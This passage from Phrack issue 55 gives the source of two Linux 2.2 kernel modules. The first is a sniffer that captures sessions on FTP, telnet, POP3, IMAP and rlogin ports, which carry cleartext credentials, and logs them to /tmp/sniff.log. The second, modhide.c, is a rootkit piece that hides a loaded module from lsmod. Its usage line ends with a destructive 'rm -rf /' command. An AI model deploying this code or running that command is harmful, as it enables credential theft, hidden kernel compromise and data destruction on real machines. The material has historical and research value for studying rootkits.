#include <net/protocol.h>
#include <net/pkt_sched.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/skbuff.h>

#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <asm/uaccess.h>

/* from a piece of pmsac's code... this is pratic :) */
#define DBGPRN1(X)		if (debug) printk(KERN_DEBUG X)
#define DBGPRN2(X,Y)		if (debug) printk(KERN_DEBUG X, Y);
#define DBGPRN3(X,Y,Z)  	if (debug) printk(KERN_DEBUG X, Y, Z);
#define DBGPRN4(X,Y,Z,W)	if (debug) printk(KERN_DEBUG X, Y, Z, W);
#define DBGPRN5(X,Y,Z,W,V)      if (debug) printk(KERN_DEBUG X, Y, Z, W, V);

#define TRUE  -1
#define FALSE  0

#define CAPTLEN		512	/* no. of bytes to log */

/* do a 'touch LOGFILE' _before_ you load the module. */
#define LOGFILE		"/tmp/sniff.log"

/* global data */
int debug, errno,
    out_c, in_c, thru_c;	/* packet counters */

struct t_data {
	char		content[1500];
	unsigned long	seq;
	struct t_data	*next;
};

struct {
	unsigned short  active;
	unsigned long	saddr;
	unsigned long	daddr;
	unsigned short	sport;
	unsigned short	dport;
	unsigned long	totlen;
	struct t_data	*data;
} victim;

char *dev;
MODULE_PARM(dev, "s");  /* gets the parameter dev=<devname> */
struct device *d;

struct packet_type sniff_proto;

/* inicial function declarations */
char *in_ntoa(__u32 in);
int filter(struct sk_buff *);
void m_strncpy(char *, char *, int); 
int m_strlen(char *);

void start_victim(struct sk_buff *);
void write_victim(struct sk_buff *);
void end_victim(void);


/* our packet handler */
int pkt_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) {

	/* fix some pointers */	
	skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4;
	skb->data = (unsigned char *)skb->h.raw + (skb->h.th->doff << 2); 
	skb->len -= skb->nh.iph->ihl*4 + (skb->h.th->doff << 2);

	switch (skb->pkt_type) {
		case PACKET_OUTGOING:
                	out_c++;
			/* dont count with the hardware header 
			 * since my stupid ippp device does not set this...
			 * add more devices here.
			 */
			if(strstr(dv->name, "ppp")) 
				skb->len -= 10;
			else
				skb->len -= dv->hard_header_len;
			break;
		case PACKET_HOST:
			in_c++;
			skb->len -= dv->hard_header_len;
			break;
		case PACKET_OTHERHOST:
			thru_c++;
			skb->len -= dv->hard_header_len;
			break;
		default:
			kfree_skb(skb);
			return 0;
	}

	if(filter(skb)) {
		kfree_skb(skb);
		return 0;
	} 

	/* rare case of NULL's in buffer contents */
	if (m_strlen(skb->data) < skb->len)  
		skb->len = m_strlen(skb->data);

	if (skb->len > CAPTLEN - victim.totlen)
		skb->len = CAPTLEN - victim.totlen;

	if (skb->len)
		write_victim(skb);

	kfree_skb(skb);
	return 0;
}

int filter (struct sk_buff *skb) {
/* this is the filter function. it checks if the packet is worth logging */

	struct t_data *ptr, *i;

	int port = FALSE;

	if (skb->nh.iph->protocol != IPPROTO_TCP)
		return TRUE;

	/* change to your favourite services here */
	if 	(ntohs(skb->h.th->dest) == 21  ||
		 ntohs(skb->h.th->dest) == 23  ||
		 ntohs(skb->h.th->dest) == 110 ||
		 ntohs(skb->h.th->dest) == 143 ||
		 ntohs(skb->h.th->dest) == 513)
			port = TRUE;

	if (victim.active) {
		if((skb->h.th->dest != victim.dport) ||
		   (skb->h.th->source != victim.sport) ||
		   (skb->nh.iph->saddr != victim.saddr) ||
		   (skb->nh.iph->daddr != victim.daddr))
			return TRUE;

		if (victim.totlen >= CAPTLEN) {
			
			ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);
			if(!ptr) {
				DBGPRN1("Out of memory\n");
				end_victim();
				return;
			}
			m_strncpy(ptr->content,
				  "\n\n*** END : CAPLEN reached ---\n", 50);
			ptr->next = NULL;

			i = victim.data;
			while(i->next)
				i = i->next;
			i->next = ptr;
	
			end_victim();
			return TRUE;
		}

		if(skb->h.th->rst) {
			ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);
			if(!ptr) {
				DBGPRN1("Out of memory\n");
				end_victim();
				return;
			}
			m_strncpy(ptr->content,
				  "\n\n*** END : RST caught ---\n", 50);
			ptr->next = NULL;

			i = victim.data;
			while(i->next)
				i = i->next;
			i->next = ptr;

			end_victim();
			return TRUE;
		}

		if(skb->h.th->fin) {
			ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);
			if(!ptr) {
				DBGPRN1("Out of memory\n");
				end_victim();
				return;
			}
			m_strncpy(ptr->content,
				  "\n\n*** END : FIN caught ---\n", 50);
			ptr->next = NULL;

			i = victim.data;
			while(i->next)
				i = i->next;
			i->next = ptr;

			end_victim();
			return TRUE;
		}
	}
	else {
		if (port && skb->h.th->syn)
			start_victim (skb);
		else
			return TRUE;
	}

	return FALSE;
}

void start_victim(struct sk_buff *skb) {

	victim.active   = TRUE;
	victim.saddr    = skb->nh.iph->saddr;
	victim.daddr    = skb->nh.iph->daddr;
	victim.sport    = skb->h.th->source;
	victim.dport    = skb->h.th->dest;

	victim.data = kmalloc(sizeof(struct t_data), GFP_ATOMIC);
	/* we're a module, we can't afford to crash */
	if(!victim.data) {
		DBGPRN1("Out of memory\n");
		end_victim();
		return;
	}
	victim.data->seq = ntohl(skb->h.th->seq);
	victim.data->next = NULL;

	sprintf(victim.data->content, "\n\n*** [%s:%u] ---> [%s:%u]\n\n",
		in_ntoa(victim.saddr),
		ntohs(victim.sport),
		in_ntoa(victim.daddr),
		ntohs(victim.dport));

	victim.totlen = m_strlen(victim.data->content);
}


void write_victim(struct sk_buff *skb) {

	struct t_data *ptr, *i;

	ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);
	if(!ptr) {
		DBGPRN1("Out of memory\n");
		end_victim();
		return;
	}

	ptr->next = NULL;
	ptr->seq = ntohl(skb->h.th->seq);
	m_strncpy(ptr->content, skb->data, skb->len);

	/*
	 * putting it in the ordered list.
	 */
	i = victim.data;

	if(ptr->seq < i->seq) {
		/*
		 * we caught a packet "younger" than the starting SYN.
		 * Likely? no. Possible? yep. forget the bastard.
		 */
		kfree(ptr);
		return;
	}
	/* actual ordering of tcp packets */
	while (ptr->seq >= i->seq) {
		if (ptr->seq == i->seq)
			return; /* seq not incremented (no data) */
		if (!i->next)
			break; 
		if (i->next->seq > ptr->seq)
			break;
		i = i->next;
	}

	ptr->next = i->next;
	i->next = ptr;

	victim.totlen += m_strlen(ptr->content);
	return;
}

    
void end_victim(void) {
/*
 * Im now saving the data to a file. This is mainly BSD's process accounting
 * code, as seen in the kernel sources.
 */
	struct t_data *ptr;
	struct file *file = NULL;
	struct inode *inode;
	mm_segment_t fs;

	file = filp_open(LOGFILE, O_WRONLY|O_APPEND, 0);

	if (IS_ERR(file)) {
		errno = PTR_ERR(file);	
		DBGPRN2("error %i\n", errno);
		goto vic_end;
	}
 
	if (!S_ISREG(file->f_dentry->d_inode->i_mode)) {
		fput(file);
		goto vic_end;
	}	

	if (!file->f_op->write) {
		fput(file);
		goto vic_end;
	}
	
	fs = get_fs();
	set_fs(KERNEL_DS);
	inode = file->f_dentry->d_inode;
	down(&inode->i_sem);
	while (victim.data) {

		file->f_op->write(file, (char *)&victim.data->content,
			m_strlen(victim.data->content), &file->f_pos);
		ptr = victim.data;
		victim.data = victim.data->next;
		kfree(ptr);
	}

	up(&inode->i_sem);
	set_fs(fs);

	fput(file);

	DBGPRN1("Entry saved\n");

vic_end:
	victim.saddr 	= 0;
	victim.daddr 	= 0;
	victim.sport 	= 0;
	victim.dport 	= 0;
	victim.active 	= FALSE;
	victim.totlen 	= 0;
	victim.data 	= NULL;
}


/* trivial but useful functions below. Damn, I miss libc :) */
char *in_ntoa(__u32 in) {
	static char buff[18];
	char *p;

	p = (char *) &in;
	sprintf(buff, "%d.%d.%d.%d",
		(p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255));
	return(buff);
}

void m_strncpy(char *dest, char *src, int size) {
	char *i, *p;
	p = dest;
	for(i = src; *i != 0; i++) {
		if (!size) break;
		size--;

		*p = *i;
		p++;
	}
	*p = '\0';
}

int m_strlen(char *ptr) {
	int i = 0;
	while (*ptr) {
		ptr++;
		i++;
	}
	return i;
}


/* init_module */
int init_module(void) {

#ifdef DEBUG
	debug = TRUE;
#else
	debug = FALSE;
#endif

	in_c = out_c = thru_c = 0;

	victim.saddr	= 0;
	victim.daddr	= 0;
	victim.sport	= 0;
	victim.dport	= 0;
	victim.active	= FALSE;
	victim.data	= NULL;

	if (dev) {
		d = dev_get(dev);
		if (!d) {
			DBGPRN2("Did not find device %s!\n", dev);
			DBGPRN1("Sniffing all known devices...");
		}
		else {
			DBGPRN3("Sniffing device %s, ifindex: %i\n", 
				dev, d->ifindex);
			sniff_proto.dev = d;
		}
	}
	else
		DBGPRN1("Sniffing all known devices...\n");

	sniff_proto.type = htons(ETH_P_ALL);

	/* this one just gets us incoming packets */
/*	sniff_proto.type = htons(ETH_P_IP); */

	sniff_proto.func = pkt_func;
	dev_add_pack(&sniff_proto);

	return(0);
}

void cleanup_module(void) {
	dev_remove_pack(&sniff_proto);
	end_victim();

	DBGPRN4("Statistics: [In: %i] [Out: %i] [Thru: %i]\n",
		in_c, out_c, thru_c); 	
	DBGPRN1("Sniffer Unloaded\n");
}

/* EOF */
<-->
<++> P55/Linux-lkm/modhide/modhide.c !c9a65c89
/*
 * generic module hidder, for 2.2.x kernels.
 *
 * by kossak (kossak@hackers-pt.org || http://www.hackers-pt.org/kossak)
 *
 * This module hides the last module installed. With little mind work you can
 * put it to selectivly hide any module from the list.
 *
 * insmod'ing this module will allways return an error, something like device
 * or resource busy, or whatever, meaning the module will not stay installed.
 * Run lsmod and see if it done any good. If not, see below, and try until you 
 * suceed. If you dont, then the machine has a weird compiler that I never seen.
 * It will suceed on 99% of all intel boxes running 2.2.x kernels.
 * 
 * The module is expected not to crash when it gets the wrong register, but
 * then again, it could set fire to your machine, who knows...
 *
 * Idea shamelessly stolen from plaguez's itf, as seen on Phrack 52. 
 * The thing about this on 2.2.x is that kernel module symbol information is 
 * also referenced by this pointer, so this hides all of the stuff :)
 *
 * DISCLAIMER: If you use this for the wrong purposes, your skin will fall off,
 *             you'll only have sex with ugly women, and you'll be raped in
 *             jail by homicidal maniacs.
 *
 * Anyway, enjoy :)
 *
 * USAGE: gcc -c modhide.c ; insmod modhide.o ; lsmod ; rm -rf /
 */


#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>

int init_module(void) {

/*
 *  if at first you dont suceed, try:
 *  %eax, %ebx, %ecx, %edx, %edi, %esi, %ebp, %esp 
 *  I cant make this automaticly, because I'll fuck up the registers If I do 
 *  any calculus here.
 */
	register struct module *mp asm("%ebx");
	
	if (mp->init == &init_module) /* is it the right register? */
		if (mp->next) /* and is there any module besides this one? */
			mp->next = mp->next->next; /* cool, lets hide it :) */
	return -1; /* the end. simple heh? */
}
/* EOF */
<-->
----[  EOF
[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]
© Copyleft 1985-2024, Phrack Magazine.